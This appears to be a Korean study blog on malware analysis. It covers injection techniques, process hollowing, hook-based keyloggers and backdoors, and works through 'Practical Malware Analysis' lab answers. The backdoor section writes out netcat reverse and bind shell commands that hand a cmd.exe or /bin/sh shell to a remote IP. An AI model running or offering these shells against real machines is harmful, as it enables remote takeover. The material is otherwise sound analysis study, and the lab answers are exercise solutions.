Launchers

실행기(Loader라고도 알려짐)는 현재의 실행이나 추후의 은밀한 실행을 위해 자신이나 다른 악성코드를 설정하는 악성코드의 유형을 말한다. 실행기의 목적은 악의적인 행위를 사용자에게 들키지 않게 설정하는 것이다. 실행기는 종종 로딩할 악성코드를 포함하며 일반적인 예가 Resource Section에 EXE나 DLL을 포함하는 경우가 있다.

위의 그림에서 보는 것과 같이 실행 파일의 부분에 MZ로 시작하는 DOS Header를 확인할 수가 있다. 프로그램은 이와 같이 리소스 섹션에 악성코드를 자주 저장하며, 실행될 때 리소스 섹션에서 내장된 실행파일이나 DLL을 추출해 실행한다.

리소스 처리 API로는 FindResource, LoadReasource, SizeofResource 가 존재한다. 이러한 실행기(launcher)는 관리자 권한으로 실행되거나 관리자 권한을 획득하기 위하여 권한 상승을 해야 한다.

Process Injection

가장 대중적인 위장 실행 기법은 프로세스 인젝션으로 이름과 같이 코드를 실행중인 프로세스에 인젝션하고, 그 프로세스가 자동으로 악의적인 코드를 실행하는 것이다. 멀웨어 코더들은 코드의 악의적인 행위를 숨기기 위해 프로세스 인젝션을 사용하며, 가끔은 호스트 기반 방화벽과 프로세스에 특화딘 보안 메커니즘을 우회하고자 할 때 사용한다.

특정 Windows API 호출들이 프로세스 인젝션에 일반적으로 사용되며 그 예로 VirtualAllocEX는 원격 프로세스의 메모리에 공간을 할당하기 위하여 사용되며, WriteProcessMemory는 할당된 공간에 데이터를 쓸 때 사용된다.

DLL Injection

DLL 인젝션은 원격의 프로세스가 악의적인 DLL을 로딩하게 하는 프로세스 인젝션의 한 형태이다. LoadLibrary를 호출하는 원격 프로세스에 코드를 삽입해 해당 프로세스의 컨텍스트에 DLL을 강제적으로 로드하게 한다. 감염된 프로세스가 악의적인 DLL을 로드하면 운영체제는 자동으로 그 DLL의 DllMain() 함수를 호출하게 된다. 주로 악의적인 DLL은 DllMain() 외에 다른 내용은 없는 경우가 많으며 이렇게 인젝션된 코드들은 실행한 프로세스가 소유한 시스템의 권한과 동일한 권한을 가진다.

아래에서 보는 것과 같이 오른쪽에는 원래의 프로세스를 보여준다. 하지만 myhack.dll을 Injection을 통하여 프로세스 내부에 넣을 수가 있다. 이렇게 로드된 myhack.dll의 DllMain() 함수는 실행이 될 것이며 권한 또한 기존의 프로세스와 같은 권한을 갖는다. 

호스트 프로그램 내부에 악의적인 DLL을 인젝션하기 위해 실행기 악성코드는 목표 프로세스의 핸들을 우선 확복해야 한다. 이 방법으로는 윈도우 API 호출인 CreateToolhelp32Snapshot, Process32First, Process32Next를 인젝션 목표에 대한 프로세스 목록을 찾기 위해 사용한다. 목표를 발견하면 실행기는 PID를 확보한 후 OpenProcess() 호출을 통해 핸들을 획득한다. DLL 인젝션의 순서는 다음과 같다.

1. 대상 프로세스 핸들 구하기

OpenProcess() API를 이용해서 대상 프로세스의 핸들을 구하는데 이 때 주로 PID를 이용한다. 

2. 대상 프로세스 메모리에 인젝션 시킬 DLL 경로 써주기

대상 프로세스에게 로딩할 DLL 파일의 경로를 알려줘야 한다. 아무 메모리 공간에 쓸 수 없으므로 VirtualAllocEx() API를 이용하여 대상 프로세스 메모리 공간에 버퍼를 할당한다. 그리고 WriteProcessMemory()를 통하여 할당된 버퍼 주소에 dll 경로 문자열을 써준다.

3. LoadLibraryA() API 주소 구하기

LoadLibrary()를 통하여 우리는 새로운 DLL을 프로세스에 로딩시킬수가 있다. 그러기위해서는 LoadLibrary() API의 주소가 필요하다. 여기서 우리는 인젝션 시킬 프로세스의 함수 주소를 구하는 것이 아니라 인젝터의 LoadLibrary()의 주소를 구할 것이다. 실제 windows 운영체제에서 kernel32.dll은 프로세스마다 같은 주소에 로딩되기에 이를 이용한 것이다.

* Microsoft 에서는 OS 핵심 DLL 파일들의 ImageBase를 정리해 놓았는데 이는 절대 겹치지 않도록하므로 DLL Relocation이 발생하지 않는다. 이러한 특성을 이용한 것이라 할 수 있다.

4. 대상 프로세스에 스레드를 실행시킴

이제 LoadLibrary()의 주소도 알았으므로 우리는 이를 호출하면 된다. 호출하는 방법으로는 CreateRemoteThread()를 사용하는데 이는 다른 프로세스에게 스레드를 실행시켜주는 함수이다. 

멀웨어를 분석함에 있어서 이러한 징후를 발견한다면 악의적인 DLL과 대상프로세스의 이름을 포함한 문자열을 찾아야 한다. 이 문자열들은 바로 볼 수가 없기에 실행하다보면 대상 프로세스의 이름은 대상 프로세스의 PID를 판별할 때 strcmp 함수와 같은 함수에서 발견할 수가 있다. 또한 인젝션 되는 악의적인 DLL의 이름을 알아내기 위해서는 WriteProcessMemory에 전달되는 Buffer의 값을 보면 된다.

아래는 실제로 직접 해본 것으로 악의적인 dll이 아니라 메세지 박스를 출력하는 dll이다. 이를 인젝션하면 아래와 같이 카카오톡의 창에 메세지박스가 같이 존재하는 것을 확인할 수가 있다. 이는 카카오톡이라는 프로세스와 동일한 위치에 있다는 것을 알 수가 있다.

Code Injection

DLL 인젝션과 동일하게 원격 프로세스의 메모리에 공간을 할당하여 삽입을 한다. 하지만 여기선 원격 프로세스가 개별 DLL을 로드하게 하는 대신에 악의적인 코드를 직접적으로 원격 프로세스에 인젝션 한다는 점이다. 이는 DLL 인젝션보다 유연하지만 호스트 프로세스에 부정적인 영향을 주지 않고 성공적으로 실행되게 하기 위해서는 많은 최적화 코드가 필요하다.

여기선 DLL을 로딩시킬 필요가 없으므로 GetProcAddress()가 사용되지 않으며 이외의 사용 API들은 유사하다. 

Process replacement

호스트 프로그램에 코드를 인젝션하지 않고, 일부 악성코드는 실행 중인 프로세스의 메모리 공간을 악의적인 실행 파일로 쓰기 위해 프로세스 교체라고 알려진 방법을 사용한다. 프로세스 교체는 악성코드 제작자가 프로세스 인젝션 중 발생할 수 있는 프로세스 비정상 종료의 위험 부담 없이 악성코드를 정상적인 프로세스로 위장하고자 할 때 사용한다.

이 기법은 교체되는 프로세스와 동일한 권한을 악성코드에 부여한다. 예를 들어 악성코드가 svchost,exe에 대해 프로세스 교체 공격을 수행했다면 사용자는 C:\Windows\System32 에서 실행 중인 svchost.exe를 본 후 악성코드가 아니라고 생각하게 된다.

프로세스 교체의 핵심은 대기 상태(Suspended State)의 프로세스를 생성하는 것이다. 다시 말해 프로세스를 메모리에 로드했지만, 프로세스의 메인 스레디는 대기함을 의미한다. 해당 프로그램은 외부프로그램이 메인 스레드를 재개하기 전까지는 아무것도 하지 않는다.

CreateProcess()를 통하여 프로세스가 생성되면 다음 단계로 대상 프로세스의 메모리를 악의적인 실행 파일로 교체한다. 일반적으로 파라미터로 전다로딘 섹션에서 지정하고 있는 모든 메로리를 해제하기 위해 ZwUnmapViewOfSection()을 사용한다. 메모리를 언매핑한 후 로더는 VirutalAllocEx()를 실행하여 악성코드를 위한 새로운 메모리를 할당하고 WriteProcessMemory()를 사용해 악성코드의 각 섹션을 대상 프로세스의 공간에 작성한다. 마지막 단계로 진입점이 악의적인 코드를 가리키게 SetThreadContext를 호출해 악의적인 코드가 실행되게 대상 프로세스의 환경을 복원한다. 최종적으로 악성코드가 실행되게 ResumeThread를 호출해 대상 프로세스를 교체한다.

프로세스 교체는 악성코드의 은닉에 효과적인 방법이다. 대상 프로세스로 가장함으로써 악성코드는 방화벽이나 침입 방지 시스템(IPS)를 우회하고 일반 윈도우 프로세스로 보이게 함으로써 탐지를 피할 수 있다. 

여기서 우리는 ProcessExplorer의 String탭을 통하여 이를 탐지하는데 도움이 될 것이다.

Hook Injection

후크 인젝션은 윈도우 후크의 이점을 이용해 악성코드를 로딩하는 방법이다. 윈도우 후크는 애플리케이션으로 전달되는 메세지를 가로 챌 때 사용하는데 악성코드 제작자는 다음 2가지를 이루기 위해 후크 인젝션을 사용한다.

1. 특정 메세지가 인터셉터될 때마다 악의적인 코드가 실행되는 것을 보장하기 위해서

2. 대상 프로세스의 메모리 공간에 특정 DLL 로드를 보장하기 위해서

아래 글미과 같이 사용자는 운영체제로 전달되는 이벤트를 생성한다. 그 후에 이벤트에서 생성한 메세지를 등록된 스레드로 전달한다. 오른쪽 그림은 공격자가 메세지를 가로채는 악의적인 DLL을 삽입하는 한 가지 방법을 보여준다.

로컬과 원격 후크

윈도우 후크에는 다음과 같은 두가지 유형이 있다.

- 로컬 후크는 내부 프로세스로 전달되는 메세지를 관찰하거나 조작하기 위해 사용된다.

- 원격 후크는 원격 프로세스에 전달되는 메세지를 관찰하거나 조작하기 위해 사용된다.

원격 후크는 두 가지 형태가 있다. 상위 레벨 원격 후크는 후크 프로시저가 DLL에 포함돼 있는 익스포트 함수로 존재해야한다. 익스포트 함수는 운영체제에서 후킹된 스레드나 전체 스레드의 프로세스 스페이스로 매핑하낟. 하위 레벨 원격 후크는 후크가 설치된 프로세스의 후크 프로시저를 필요로 한다. 이 프로시저는 운영체제가 프로세스 이벤트를 받기 전에 통보된다.

Keyloggers Using Hooks

후크 인젝션은 키 스트로크를 기록하는 키로거로 알려진 악의적인 애플리케이션에서 자주 사용한다. 키 스트로크는 WH_KEYBOARD나 WH_KEYBOARD_LL 후크 프로시저 유형을 각각 사용해 상위 레벨이나 하위 레벨 후크를 등록해 캡처할 수 있다.

SetWindowsHookEx 사용

원격 윈도우 후킹에 사용하는 주요 함수 호출은 SetWindowsHookEx이며, 다음과 같은 파라미터를 가진다.

- idHook : 설치할 후크 프로시저의 유형을 정의

- lpfn : 후크 프로시저에 대한 포인터

- hMod : 상위 레벨의 경우 lpfn에 정의된 후크 프로시저를 포함하는 DLL에 대한 핸들을 식별, 하위 레벨의 경우 lpfn 프로시저에 정의된 로컬 모듈을 식별

- dwThreadId : 후크 프로시저와 연관된 스레드의 식별자를 저으이. 파라미터가 0이라면 후크 프로시저는 호출한 스레드와 동일한 데스크톱에 실행 중인 모든 스레드로 정의 된다. 하위 레벨 후크에 대해서는 0으로 설정 돼야 한다.

스레드 지정

악성코드는 키로거나 동급의 목적을 가진 경우에만 모든 스레드에 로딩 된다. 모든 스레드에 로드하는 것은 실행 시스템의 성능을 저하시키고 IPS에 탐지될 수 있다. 그러므로 목적이 단순히 원격 프로세스에 DLL을 로딩하는 것이라면 탐지 되지 않게 하기 위해 싱글 스레드에만 인젝션해야한다.

싱글 스레드 지정을 위해서는 대상 프로세스를 찾기 위해 프로세스 목록을 검색해야하며, 대상 프로세스가 실행돼 있지 않다면 악성코드가 프로그램을 실행해야 한다. 악의적인 애플리케이션이 자주 사용되는 윈도우 메세지를 후킹한다면 IPS에 탐지될 확률이 높아진다. 아래의 그림은 다른 프로세스의 메모리 공간에 DLL을 로딩하기 위해 후크인젝션 하는 어셈코드다.

Detours

기존 운영체제와 애플리케이션을 쉽게 장착하고 확장할 수 있는 방법으로 제시된 라이브러리이다. 이를 통하여 IAT를 수정하거나 기존 프로그램 파일에 DLL을 덧붙이거나 실행 중인 프로세스에 함수 후킹을 한다. 멀웨어 코더는 일반적으로 Detours를 이용해 가장 일반적으로 디스크에 존재하는 바이너리에 새로운 DLL을 추가한다. 

APC 인젝션

CreateRemoteThread를 이용해 스레드를 생성한 후 원격 프로세스에서 함수를 실행하는 것을 위에서 보았다. 하지만 스레드 생성은 쉽지 않으므로 기존 스레드에 함수를 실행하는 것이 더 효과 적이다. 이런 기능이 윈도우 비동기 프로시저 호출로 존재한다.

APC는 APC의 정규 실행 경로를 실행하기 전에 스레드가 다른 코드를 실행하게 지시할 수 있다. 모든 스레드는 스레드에 첨부된 APC 큐를 갖고 있으며 WaitForSingleObjectEx, WaitForMultipleObjectEx, SleepEx 같은 함수를 호출했을 때와 같이 스레드가 대체 가능한 상태에 있을 때 처리된다. APC 는 다음과 같은 두 가지 형태가 있다.

- 시스템이나 드라이버를 위해 생성된 APC는 커널 모드 APC라고 한다.

- 애플리케이션을 위해 생성된 APC는 사용자 모드 APC 라고한다.

사용자 공간에서는 QueueUserAPC를 사용해 사용자 공간에서 다른 스레드가 원격 스레드에서 실행될 함수를 큐에 넣을 수가 있으며 커널 공간에서는 MeI itializeApc와 KeInsertQueueApc와 같은 두 개의 주요 함수를 사용한다.

참고

http://www.reversecore.com/38    ; Dll 인젝션

https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes/   ; 프로세스 교체

문제 풀이

Lab12-01

파일 Lab12-01.exe와 Lab12-01dll 에서 발견되는 악성코드를 분석하자. 분석을 할 때 이 파일들은 동일한 디렉터리에 존재해야함을 주의하자

1. 악성코드가 실행 됐을 때 어떤 일이 일어나는가?

어떠한 프로세스에 12-01.dll을 인젝션 시킨다.

2. 어떤 프로세스가 인젝션 됐는가?

explorer.exe에 12-01.dll 인젝션 시키는것

3. 악성코드의 팝업을 어떻게 멈출 수 있는가?

explorer.exe를 강제로 종료시킨뒤 task 매니저에서 다시 explorer를 실행하면 더 이상 작동하지않는다. 또는 재부팅을 하여도 인젝션이 해제가 되어있을 것이다.

4. 이 악성코드는 어떻게 작동하는가?

dll injection을 진행한 뒤 그 dll에는 메세지박스를 60초마다 출력하도록 한다.

EXE

000000006030   000000406030      0   explorer.exe

000000006040   000000406040      0   <unknown>

00000000604C   00000040604C      0   LoadLibraryA

00000000605C   00000040605C      0   kernel32.dll

00000000606C   00000040606C      0   Lab12-01.dll

000000006080   000000406080      0   EnumProcesses

000000006090   000000406090      0   GetModuleBaseNameA

0000000060A4   0000004060A4      0   psapi.dll

0000000060B0   0000004060B0      0   EnumProcessModules

DLL

export가 존재하지 않으므로 DllMaiin()을 통한 악의적 행위, DLL 인젝션의 확률이 높음

Lab12-02

1. 이 프로그램의 목적은 무엇인가?

svchost.exe에 프로세스 교체 기법을 사용하여 리소스 섹션에 있는 내용을 실행하도록 한다. 실행되면 해당 dll이 가진 명령어들을 수행하는데 서비스에 등록을 하며 RPC 서버와의 어떤 작업도 진행한다. 키로깅

2. 실헹기 프로그램은 어떻게 실행을 숨기는가?

리소스 섹션에 숨겼으며 XOR 41을 하므로 알아차리기가 어렵다.

3. 악의적인 페이로드는 어디에 조정돼 있는가?

리소스 섹션

4. 악의적인 페이로드는 어떻게 보호되는가?

XOR 41

리소스섹션에 파일이 있는데 XOR 41로 숨겨져있다. 000000005030   000000405030      0   \svchost.exe

Lab12-03

1. 이 악의적인 페이로드의 목적은 무엇인가?

SetWindowsHookExA

키로킹

2. 악의적인 페이로드는 어떻게 자신을 인젝션하는가?

후킹 인젝션

3. 이 프로그램은 어떤 파일 시스템 잔여물을 만드는가?

practicalmalwareanalysis.log

Lab12-04

1. 0x401000에서 악성코드는 무엇을 하는가?

해당 프로세스가 오픈되어 있는지를 확한다.

2. 악성코드는 어떤 프로세스에 인젝션되는가?

3. LoadLibrary를 이용해 로드하는 DLL은 무엇인가?

sfc_os.dll

4. CreateRemoteThread 호출에 전달되는 네번쨰 인자는 무엇인가?

sfc_os.dll 의 스타트 어드레스

5. 메인 실행 파일에서 어떤 악성코드를 드롭했는가?

URL 로부터 파일을 다운로드

6. 이 파일과 드롭된 악성코드의 목적은 무엇인가?

psapi.dll이 나옴

리소스 섹션에 EXE가 포함됨, SeDebugPrivilege가 사용되므로 권한 상승이 이루어짐

movfile \Temp\winup.exe >>> C:\Windows\System32\wupmdmgr.exe

000000007070   000000407070      0   \winup.exe

000000007084   000000407084      0   \system32\wupdmgrd.exe

0000000070A4   0000004070A4      0   http://www.practicalmalwareanalysis.com/updater.exe

Downloaders and Launchers

실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다.

Backdoor

백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또는 코드를 다운로드할 필요가 없는 경우도 있다. 가장 일반적으론는 HTTP 프로토콜을 이용해 80번 포트로 통신을 하며 이는 가장 일반적인 네트워크 트래픽으로 악성코드는 자신의 트래픽을 정상적인 트래픽에 숨길 수 있다는 이점을 얻는다.

Windows Reverse Shell

공격자는 cmd.exe를 이용해 윈도우에서 두 가지 간단한 악성코드 코딩방법을 사용한다. 기본적인 방법은 제작하기가 쉽고 멀티스레드 기법만큼 잘 작동 때문에 악성코드 제작자 사이에 인기가 있다. CreateProcess에 대한 호출과 CreateProcess로 전달되는 STARTUPINFO 구조체의 조작이 사용된다. 우선 소켓을 생성한 후 원격 서버에 대한 연결을 수행하며, 해당 소켓은 cmd.exe의 표준 스트림으로 연결된다. CreateProcess는 희생자에게 들키지 않게 윈도우를 숨긴채 cmd.exe를 실행한다.

멀티스레드 버전의 윈도우 리버스 셸은 소켓, 파이프 2개, 스레드 2개를 생성한다. 악성코드 제작자는 종종 이 방법을 이용해 소켓을 통해 주고받는 데이터를 조작하거나 인코딩한다. CreatePipe는 stdin과 stdout 같은 파이프의 끝을 함께 읽고 쓸 수 있게 연결하는데 사용하며 CreateProcess 메소드는 표준 스트림을 직접 소켓에 연결하기보다는 파이프에 연결할 때 사용한다. CreateProcess가 호출된 후 악성코드는 스레드 2개를 생성한다. 일반적으로 이들 스레드는 데이터 인코딩을 통해 데이터를 조작한다.

Netcat Reverse Shell

공격자는 넷캑이나 또는 다른 악성코드에 포함돼 있는 넷켓 패키지를 사용하는 것으로 알려져 있다. 넷캣을 리버스 쉘로 사용할 때는 다음과 같이 원격 머신은 들어오는 접속을 대기해야 한다.     nc -l -p 80   -l 옵션은 넷캣을 리스닝 모드로 설정하고, -p는 리스닝할 포트를 설정할 때 사용한다. 

다음 명령을 이용해 희생자의 머신에서 외부로 접속해 쉘을 전달한다.nc ip 80 -e cmd.exe

Backdoor Shell

<Server> nc -e /bin/sh(or cmd.exe) -l -p 1234         <Client>  telnet IP_Address 1234

이 경우 Client의 입장에서 Server측의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Server와 같이 설정하여 실행하면 Target PC를 컨트롤 할 수 있다. 또한 한가지 더 생각하면 서버측에서는 IP에 대한 입력이 필요가 없으므로 서버측의 IP만 알면 어느 PC에서든지 이에 접속할 수가 있다. 이

Reverse Shell

<Server> nc -l -p 1234   or nc -n -v -l -p 1234        <Client>  nc -e /bin/sh(or cmd.exe) IP_Address 1234

이 경우 Server의 입장에서 Client의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Client와 같이 설정하여 실행한다. 공격자가 서버의 입장이므로 타겟 PC는 따로 어떠한 설정 없이 연결이 된다.

*위의 두 상황 모두 명령어 실행이 안될 경우 뒤에 ' ; ' 세미콜론을 붙여야 실행되는 경우도 있다. 그러므로 일반적인 명령어를 실행해보고 작동하지 않는다면 세미콜론을 붙여보자.

RAT

Remote Administration Tool(원격 관리도구)는 원격에 있는 컴퓨터들을 관리할 때 사용한다. RAT는 정보를 훔치거나 정보를 다른 네트워크로 이동시크는 것과 같은 특정 목적을 가진 표적 공격에 사용한다. 

아래의 그림은 RAT의 네트워크 구조에 대하여 설명된 것이다. 서버는 악성코드에 감염된 피해 호스트에서 실행된다. 클라이언트는 공격자가 조종하는 명령 및 통제 유닛으로, 원격에서 실행된다. 서버는 연결을 위해 클라이언트에 신호를 전달하면 클라이언트가 서버를 통제한다. RAT 통신은 일반적으로 80, 443 같은 일반 포트를 통해 이루어진다.

Botnets

봇넷은 좀비로 알려진 침해 호스트의 집합으로, 일반적으로 봇넷 컨트롤러로 알려진 서버를 통해 단일 엔티티에 의해 통제된다. 봇넷의 목표는 추가 악성코드, 스팸을 전파하거나 DDoS 공격을 수행할 수 있는 큰 좀비 네트워크를 구성하기 위해 최대한 많은 호스트를 침해하는 것이다. 봇넷은 동시에 다수의 좀비 호스트가 웹사이트를 요청하게 함으로써 웹사이트를 다운시킬 수 있다.

RAT와 Botnet 비교 

· 봇넷은 다수의 호스트를 감염시키고 통제하는 것으로 알려졌으며, RAT는 일반적으로 더 작은 규모의 호스트를 통제한다.

· 모든 봇넷은 한번에 통제되는데 반해 RAT는 피해 호스트별로 통제된다. 이는 RAT의 경우 공격자가 개별 호스트에 대해 좀 더 많은 관심을 갖고 있기 때문이다.

· RAT는 표적 공격에 사용되는데 반해 봇넷은 대량 공격에 사용된다.

Credential Stealers

Code Virtualized.pdf

Design and Implementation of Virtualized Code Protection(VCP) [foryou2008].pdf

코드_가상화_기법이_적용된_악성코드_분석_방법_연구_위탁과제_최종보고서.pdf

B A S I C  S T A T I C  T E C H N I Q U E S

- Antivirus Scanning: A Useful First Step

- Hashing: A Fingerprint for Malware    

C:\>md5deep c:\WINDOWS\system32\sol.exe

373e7a863a1a345c60edb9e20ec3231 c:\WINDOWS\system32\sol.exe

- Finding Strings

ASCII strings use 1 byte per character, and Unicode uses 2 bytes per character.

But those bytes may not actually represent that string; they could be a memory address, CPU instructions, or data used by the program

- Packed and Obfuscated Malware

If upon searching a program with Strings, you find that it has only a few strings, it is probably either obfuscated or packed, suggesting that it may be malicious

Packed and obfuscated code will often include at least the functions LoadLibrary and GetProcAddress, which are used to load and gain access to additional functions

- Portable Executable File Format

the format of a file can reveal a lot about the program’s functionality.

- Linked Libraries and Functions

Knowing how the library code is linked is critical to our understanding of malware because the information we can find in the PE file header depends on how the library code has been linked.

Static, Runtime, and Dynamic Linking

Exploring Dynamically Linked Functions with Dependency Walker

Imported Functions

Exported Functions

EXEs are not designed to provide functionality for other EXEs, and exported functions are rare. If you discover exports in an executable, they often will provide useful information.

- Static Analysis in Practice

- The PE File Headers and Sections

Executable Description

.text Contains the executable code

.rdata Holds read-only data that is globally accessible within the program

.data Stores global data accessed throughout the program

.idata Sometimes present and stores the import function information; if this section is

not present, the import function information is stored in the .rdata section

.edata Sometimes present and stores the export function information; if this section is not

present, the export function information is stored in the .rdata section

.pdata Present only in 64-bit executables and stores exception-handling information

.rsrc Stores resources needed by the executable

.reloc Contains information for relocation of library files

The section sizes can be useful in detecting packed executables. For example, if the Virtual Size is much larger than the Size of Raw Data, you know that the section takes up more space in memory than it does on disk. This is often indicative of packed code, particularly if the .text section is larger in memory than on disk. This tells us that a packer will unpack the executable code to the allocated .text section.

Lab01-1.exe

Lab 1-1

This lab uses the files Lab01-01.exe and Lab01-01.dll. Use the tools and techniques described in the chapter to gain information about the files and answer the questions below.

Questions

1. Upload the files to http://www.VirusTotal.com/ and view the reports. Does either file match any existing antivirus signatures?

2. When were these files compiled?

3. Are there any indications that either of these files is packed or obfuscated? If so, what are these indicators?

4. Do any imports hint at what this malware does? If so, which imports are they?

CreateProcess를 통하여 새로운 프로세스를 만드는 것을 확인 할 수가 있으며 WS2_32.dll은 Networking을 하기 위하여 필요한 dll로써 다른 곳과 연결을 할려는 것을 알 수가 있다.

문자열을 확인해보면 특정한 주소가 있는 것을 확인할 수가 있고, 이 주소와 네트워킹을 하려한다는 것을 알 수가 있다.

FindFirstFile과 FindNextFile을 통하여 특정한 이름의 파일을 찾는 과정과 CreateFile과 CopyFile을 통하여 특정한 파일에 어떠한 작업을 하는 것을 예상 할 수가 있다.

아래와 같이 C:\windows\system32\kernel132.dll과 작업을 할려는 것을 확인 할 수가 있고, 아래와 같이 Lab01-01.dll과도 직접적으로 관련이 있는 것을 확인 할 수가 있다.

5. Are there any other files or host-based indicators that you could look for on infected systems?

.EXE의 CreateFile, CopyFile, FindFirstFile, FindNextFile과 같은 함수를 통하여 확인을 할 수가 있다. C:\Windows\System32\kerne132.dll 과 직접적으로 관련이 있다는 것 또한 우리는 문자열을 통하여 알 수 있다.

6. What network-based indicators could be used to find this malware on infected machines?

.dll의 WS2_32.dll의 모든 내용이 Network와 관련이 되어 있기에 이를 통해서 알 수가 있다. 또한 문자열을 확인하였을때 IP주소가 존재하는 것까지 확인을 할 수 있다.

7. What would you guess is the purpose of these files?

The .dll file is probably a backdoor. The .exe file is used to install or runthe DLL.

Detailed Analysis

To answer the first question, we upload the file to VirusTotal.com, which performs

a scan against antivirus signatures.

Next, we open the files in PEview. For each file, we navigate to the

IMAGE_NT_HEADERSIMAGE_FILE_HEADERTime Date Stamp field,

which tells us the compile time. Both files were compiled on December 19,

2010, within 1 minute of each other. This confirms our suspicions that these

files are part of the same package. In fact, a compile time that close strongly

suggests that these files were created at the same time by the same author.

We know that the files are related because of the compile times and where

they were found. It’s likely that the .exe will use or install the .dll, because

DLLs cannot run on their own.

Then we check to see if either file is packed. Both files have small but

reasonable numbers of imports and well-formed sections with appropriate

sizes. PEiD labels this as unpacked code compiled with Microsoft Visual C++,

which tells us that these files are not packed. The fact that the files have

few imports tells us that they are likely small programs. Notice that the DLL

file has no exports, which is abnormal, but not indicative of the file being

packed. (You will learn more about this export section when we return to

these files in Lab 7-3.)

Next, we look at the files’ imports and strings beginning with the .exe. All

of the imports from msvcrt.dll are functions that are included in nearly every

executable as part of the wrapper code added by the compiler.

When we look at the imports from kernel32.dll, we see functions for

opening and manipulating files, as well as the functions FindFirstFile and

FindNextFile. These functions tell us that the malware searches through the

filesystem, and that it can open and modify files. We can’t be sure what the

program is searching for, but the .exe string suggests that it is searching for

executables on the victim’s system.

We also see the strings C:\Windows\System32\Kernel32.dll and C:\windows\

system32\kerne132.dll. (Notice the change from the letter l to the number 1

in kernel32.dll.) The file kerne132.dll is clearly meant to disguise itself as the

Windows kernel32.dll file. The file kerne132.dll can serve as a host-based indicator

to locate infections, and it is one that we should analyze for malicious code.

Next, we look at the imports and strings for Lab01-01.dll, which imports

functions from WS2_32.dll. Because these functions are imported by ordinal,

we don’t know which functions are being imported. We also see two interesting

functions imported from kernel32.dll: CreateProcess and Sleep, which are

commonly used as backdoors. These functions are particularly interesting to

us in combination with the strings exec and sleep. The exec string is probably

sent over the network to command the backdoor to run a program with

CreateProcess. The sleep string is probably used to command the backdoor

program to sleep. (This malware is complex. We’ll return to it in Lab 7-3,

once we have covered the skills to analyze it fully.)

Lab01-2.exe

Lab 1-2

Analyze the file Lab01-02.exe.

Questions

1. Upload the Lab01-02.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.

PEView로 확인을 했을때 UPX 섹션이 존재하기도하며 이에 더해 첫번째 UPX 섹션의 경우 SizeOfRawData가 0으로써 언패킹 과정 중에 그곳에 Instruction이 쓰이는 것으로 예상된다.

3. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?

우선 패킹이 되어있을때는 프로그램이 실행되면서 실행압축된 것을 해제 할때 LoadLibrary를 사용하므로 인하여 저곳에 존재하고 있는 것을 확인 할 수가 있다. 그리고 언패킹 후에는 ADVAPI32.dll에서 CreateServiceA라고 되어있는데, 이 dll은 주로 Registry나 서비스를 제어할때 쓰는 dll 이므로 CreateService는SCM에 새로운 서비스를 등록한다는 것으로 예상이 된다. 여기서 내 예상으로는 아마 자동실행에 등록을 하지 않을까 싶다.( 물론 아닐 확률도 높음 )

그리고 WININT.dll 보면 InternetOpen과 InternetOpenUrl을 볼수가 있는데, 이는 특정 사이트를 여는 것이다. 구체적인 사이트는 두번째 사진에서와 같이 www.malwareanalysis.com으로 연결이 될 것이라 예상할 수가 있다.

4. What host- or network-based indicators could be used to identify this malware on infected machines?

만약 레지스트리에 등록하는 것이 맞다면 host-based에도 포함이 되고 그렇지 않다면 Network-based에만 포함이 된다. 

Detailed Analysis

When analyzing Lab 1-2, we upload the file to VirusTotal.com and see that it

matches at least three virus signatures. One antivirus engine identifies it as a

malicious downloader that downloads additional malware; the other two identify

it as packed malware. This demonstrates the usefulness of VirusTotal.com.

Had we used only one antivirus program to scan this file, we would probably

not get any information.

Upon opening the file with PEview, several indicators tell us that this

file is packed. The most obvious indicators are sections named UPX0, UPX1,

and UPX2—section names for UPX-packed malware. We could use PEiD to

confirm the file’s packed nature, but it is not foolproof. Even if PEiD fails

to identify the file as UPX-packed, notice the relatively small number of

imports and that the first section, UPX0, has a virtual size of 0x4000 but a raw

data size of 0. UPX0 is the largest section, and it’s marked executable, so it’s

probably where the original unpacked code belongs.

 Having identified the program as packed, we can unpack it by downloading

UPX from http://upx.sourceforge.net/ and running the following command:

upx -o newFilename -d originalFilename

The -d option says decompress the file, and the -o option specifies the

output filename.

After unpacking, we look at the imports sections and the strings. The

imports from kernel32.dll and msvcrt.dll are imported by nearly every program,

so they tell us little about this specific program. The imports from wininet.dll

tell us that this code connects to the Internet (InternetOpen and InternetOpenURL),

and the import from advapi32.dll (CreateService) tell us that the code creates a

service. When we look at the strings, we see www.malwareanalysisbook.com, which

is probably the URL opened by InternetOpenURL as well as by Malservice, which

could be the name of the service that is created.

We can’t be sure what this program is doing, but we’ve found some indicators

to help search for this malware across a network.

Lab01-3.exe

Lab 1-3

Analyze the file Lab01-03.exe.

Questions

1. Upload the Lab01-03.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.

3. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?

패킹이 FSG 1.0으로 되어있기에 언패킹 툴을 구하지 못하였다. 따라서 Manual Unpack을 하였는데 언패킹 후에 아래와 같이 dll이 확인이 되는 것을 볼 수가 있다.

4. What host- or network-based indicators could be used to identify this malware on infected machines?

프로그램을 실행할 경우 아래와 같이 해당 사이트로 연결이 되는 것을 확인 할 수가 있다. 이는 네트워크에 기반했음을 알수가 있다.

Manual Unpack

Detailed Analysis

For the file Lab01-03.exe, VirusTotal.com reports a variety of different signatures

with vague-sounding names. The most common signature is that of a

file packed with the FSG packer.

When we open the file in PEview, we see several indications that the file

is packed. The first is that the file sections have no names. Next, we see that

the first section has a virtual size of 0x3000, but a raw data size of 0. We run

PEiD to confirm, and it identifies the packer as FSG 1.0 -> dulek/xt.

To confirm that the file is packed, we search for the imports, but there

doesn’t seem to be an import table. An executable file without an import

table is extremely rare, and its absence tells us that we should try another

tool, because PEview is having trouble processing this file.

